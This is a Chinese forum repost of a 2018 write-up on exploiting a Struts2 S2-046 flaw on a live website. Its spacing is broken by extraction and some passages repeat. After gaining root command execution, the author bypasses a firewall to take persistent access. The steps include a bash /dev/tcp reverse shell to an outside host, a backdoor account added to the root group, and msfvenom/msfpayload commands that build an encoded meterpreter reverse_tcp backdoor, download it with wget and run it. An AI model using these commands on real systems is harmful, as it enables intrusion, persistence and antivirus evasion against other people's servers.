搜索

[13002] 2018-07-30_当Strust2遇到防火墙，你的思路够骚吗？

文档创建者：s7ckTeam
浏览次数：17
最后更新：2025-01-18
2018-07-30_当Strust2遇到防火墙，你的思路够骚吗？ 当 S t r u s t 2 遇 到 防 火 墙 ， 你 的 思 路 够 骚 吗 ？ 原 创   道 恩 先 生 6 6 6   F r e e B u f   2 0 1 8 - 0 7 - 3 0 P S ： 本 次 测 试 仅 仅 做 为 学 习 ， 漏 洞 已 经 提 交 给 管 理 员 ， 请 勿 用 于 非 法 用 途 ， 所 产 生 的 一 切 后 果 与 作 者 无 关 。 文 章 如 ： 本 次 测 试 仅 仅 做 为 学 习 ， 漏 洞 已 经 提 交 给 管 理 员 ， 请 勿 用 于 非 法 用 途 ， 所 产 生 的 一 切 后 果 与 作 者 无 关 。 文 章 如 果 有 问 题 ， 欢 迎 大 家 及 时 指 正 ！ 果 有 问 题 ， 欢 迎 大 家 及 时 指 正 ！ 一 、 背 景 一 、 背 景 偶 然 碰 到 一 个 小 站 存 在 偶 然 碰 到 一 个 小 站 存 在 s t 2 - 0 4 6 代 码 远 程 执 行 漏 洞 ， 心 里 美 滋 滋 。 代 码 远 程 执 行 漏 洞 ， 心 里 美 滋 滋 。 执 行 w h o a m i 查 看 自 己 是 什 么 权 限 已 经 是 r o o t 了 ， 就 尝 试 上 传 一 个 w e b s h e l l 但 是 却 提 示 上 传 失 败 ， 页 面 不 存 在 上 传 t x t 显 示 成 功
经 过 测 试 ， 服 务 器 装 有 一 些 防 火 墙 之 类 的 东 西 或 者 是 安 全 策 略 ， 只 要 上 传 的 文 件 里 包 含 可 执 行 代 码 就 上 传 失 败 但 是 转 念 一 想 我 为 什 么 非 要 传 w e b s h e l l ， 传 上 去 之 后 不 还 是 要 提 权 ， 弄 到 他 的 s s h 权 限 。 于 是 冷 静 思 考 了 一 下 目 前 的 形 势 : 1   r o o t 权 限 2   可 以 执 行 非 交 互 性 命 令 3   不 能 上 传 文 件 脑 海 里 一 道 闪 电 ， 蹦 出 来 三 个 思 路 1   直 接 远 程 执 行 命 令   添 加 一 个 用 户   然 后 加 入 r o o t 组 2   n c 反 弹 s h e l l   进 行 交 互 性 命 令   设 置 用 密 钥 登 陆 3   用 神 器 m s f 生 成 一 个 l i n u x 后 门 ， 进 一 步 拿 下 s s h 二 、 一 波 操 作 猛 如 虎 二 、 一 波 操 作 猛 如 虎 思 路 一 思 路 一 首 先 u s e r a d d   t e s t 添 加 一 个 名 为 t e s t 的 用 户 因 为 不 能 交 互   所 以 无 法 使 用 p a s s w d   命 令
尝 试 e c h o   “ P A S S W O R D ”   |   p a s s w d   — s t d i n   U S E R N A M E 命 令 命 令 执 行 完 成 然 后 加 入 r o o t 组 用 i d + 用 户 名 查 看 是 否 添 加 成 功 奈 斯 然 后 就 是 高 高 兴 兴 去 连 接 s s h u s e r m o d   - g   r o o t   t e s t
结 果 他 一 直 拒 绝 我 的 密 码 。 。 。 这 是 什 么 操 作 。 。 。 得 到 了 你 的 人 得 不 到 你 的 心 吗 。 。 。 当 时 也 不 明 白 为 什 么 会 这 样 后 来 百 度 查 了 一 下 才 知 道 这 个 命 令 有 时 候 是 有 问 题 的 思 路 一 失 败 思 路 二 思 路 二 既 然 问 题 出 在 加 密 码 的 命 令 上 面 ， 我 就 只 要 把 s h e l l 反 弹 出 来 然 后 再 使 用 p a s s w d 命 令 即 可 测 试 了 一 下 目 标 站 不 支 持 其 他 脚 本 ， 也 没 有 n c ， 就 直 接 用 b a s h 转 发 吧 先 打 开 一 台 外 网 w i n d o w s 服 务 器 ， 开 启 n c 监 听
命 令 为 n c . e x e   – v v   – l   – p   端 口 L i n u x 上 b a s h 转 发 命 令 如 下 提 示 执 行 成 功 但 是 w i n d o w s 服 务 器 上 并 没 有 收 到 任 何 反 弹 信 息 换 端 口 换 反 弹 方 式 都 失 败 用 脚 趾 头 想 想 应 该 是 防 火 墙 的 问 题 思 路 二 失 败 。 思 路 三 思 路 三 前 两 次 均 失 败 ， 心 里 很 难 受 了 不 过 没 关 系 ， 我 们 还 有 神 器 m s f 假 设 本 机 i p 为 1 9 2 . 1 6 8 . 2 5 0 . 1 6 2 监 听 端 口 为 8 0 9 0 用 m s f 生 成 一 个 l i n u x 的 后 门 命 令 如 下 ： （ 1 ） 对 于 m e t a s p l o i t   4 . 2 版 本 ， 使 用 m s f p a y l o a d 生 成 后 门 程 序 ， 使 用 m s f e n c o d e 对 后 门 进 行 二 次 编 码 防 杀 。 生 成 后 门 并 使 用 m s f e n c o d e   s h i k a t a _ g a _ n a i 编 码 程 序 对 后 门 程 序 再 编 码 。 命 令 ： b a s h   - i   > &   / d e v / t c p / x . x . x . x / 2 3 3 3   0 > & 1
详 解 ： 使 用 模 块   l i n u x / x 8 6 / m e t e r p r e t e r / r e v e r s e _ t c p   可 以 实 现 在 3 2 位 l i n u x 系 统 上 反 弹 T C P 会 话 L H O S T = 1 9 2 . 1 6 8 . 2 5 0 . 1 6 2   反 弹 连 接 到 m e t a s p l o i t 攻 击 主 机 的 I P 地 址 L P O R T = 8 0 9 0   反 弹 连 接 到 m e t a s p l o i t 攻 击 主 机 的 T C P 端 口 号 - t   e l f   编 码 生 成 的 文 件 类 型 - e   x 8 6 / s h i k a t a _ g a _ n a i   使 用 的 编 码 方 式 - c   3   重 复 封 装 编 码 3 次 - o   / r o o t / t e s t   输 出 后 门 文 件 到 / r o o t 目 录 下 ， 文 件 名 t e s t （ 2 ） 在 较 新 版 本 的 m e t a s p l o i t 中 ， m s f p a y l o a d 和 m s f e n c o d e 已 经 被 取 消 ， 功 能 合 并 为 m s f v e n o m 使 用 m s f v e n o m 创 建 后 门 达 到 相 同 效 果 的 命 令 为 ： 详 解 ： - a   x 8 6   3 2 位 — p l a t f o r m   l i n u x   后 门 程 序 运 行 的 平 台 - p l i n u x / x 8 6 / m e t e r p r e t e r / r e v e r s e _ t c p   使 用 的 p a y l o a d 模 块 - e x 8 6 / s h i k a t a _ g a _ n a i   - i   3   使 用 s h i k a t a 编 码 方 式 ， 编 码 3 次 。 - f   e l f   输 出 后 门 程 序 格 式 （ 在 我 测 试 的 过 程 中 如 果 不 使 用 s h i k a t a 编 码 3 次 生 成 的 后 门 无 法 执 行 ， 不 知 道 是 不 是 防 火 墙 的 原 因 ） 生 成 好 了 ， 然 后 就 是 怎 么 把 后 门 传 到 目 标 服 务 器 上 的 问 题 可 以 用 f t p 之 类 的 ， 出 于 方 便 就 直 接 用 w g e t 把 后 门 放 到 网 站 上 或 者 架 设 的 h f s 上 m s f p a y l o a d l i n u x / x 8 6 / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = 1 9 2 . 1 6 8 . 2 5 0 . 1 6 2   L P O R T = 8 0 9 0   R   | m s f e n c o d e   - t   e l f   - e   x 8 6 / s h i k a t a _ g a _ n a i   - c   3   - o   / r o o t / t e s t m s f v e n o m   - a   x 8 6 - - p l a t f o r m   l i n u x   - p   l i n u x / x 8 6 / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = 1 9 2 . 1 6 8 . 2 5 0 . 1 6 2 L P O R T = 8 0 9 0   - e   x 8 6 / s h i k a t a _ g a _ n a i     - i     3     - f e l f   >   / r o o t / t e s t
执 行 成 功 l s 看 一 下 是 否 已 经 下 载 后 门 接 下 来 就 在 m s f 上 开 启 监 听 m s f c o n s o l e 进 入 控 制 台 后 命 令 ： m s f   >   u s e   e x p l o i t / m u l t i / h a n d l e r   m s f   e x p l o i t ( h a n d l e r )   >   s e t   L H O S T   1 9 2 . 1 6 8 . 2 5 0 . 1 6 2 m s f   e x p l o i t ( h a n d l e r )   >   s e t   L P O R T   8 0 9 0 m s f   e x p l o i t ( h a n d l e r )   >   s e t   P A Y L O A D   l i n u x / x 8 6 / m e t e r p r e t e r / r e v e r s e _ t c p   m s f   e x p l o i t ( h a n d l e r )   >   e x p l o i t
O k 监 听 开 启 成 功 这 个 时 候 就 要 来 运 行 后 门 一 定 要 记 得 更 改 后 门 的 权 限 ！ 一 定 要 记 得 更 改 后 门 的 权 限 ！ 一 定 要 记 得 更 改 后 门 的 权 限 ！ 重 要 的 事 情 说 三 遍 ！ ！ ！ 只 有 这 样 后 门 才 有 执 行 的 权 限 命 令 ： c h m o d   7 7 7   t e s t 然 后 执 行 后 门 命 令 :   . / t e s t
可 以 看 到 已 经 得 到 了 一 个 会 话 执 行 w h o a m i   显 示 r o o t 权 限 后 面 的 思 路 就 很 多 了 添 加 一 个 后 门 用 户 或 者 生 成 一 个 秘 钥 直 接 连 接 服 务 器 或 者 直 接 用 m s f 维 持 后 门 的 权 限 在 这 里 就 直 接 用 p a s s w d 改 掉 咱 们 原 来 添 加 的 t e s t 的 密 码 O k ,   s s h 连 接 成 功 三 、 总 结 三 、 总 结 这 次 的 渗 透 测 试 还 是 可 以 给 大 家 提 供 一 个 思 路 ， 在 遇 到 s t 2 漏 洞 但 是 有 防 火 墙 ， 不 能 上 马 ， 不 能 反 弹 s h e l l ， 只 能 执 行 非 交 互 命 令 的 时 候 可 以 用 m s f 生 成 一 个 后 门 然 后 进 行 进 一 步 提 权 。 当 一 种 思 路 不 行 的 时 候 要 学 会 打 开 思 路 ， 多 尝 试 ， 多 百 度 。 * 本 文 原 创 作 者 ： 道 恩 先 生 本 文 原 创 作 者 ： 道 恩 先 生 6 6 6 ， 本 文 属 ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理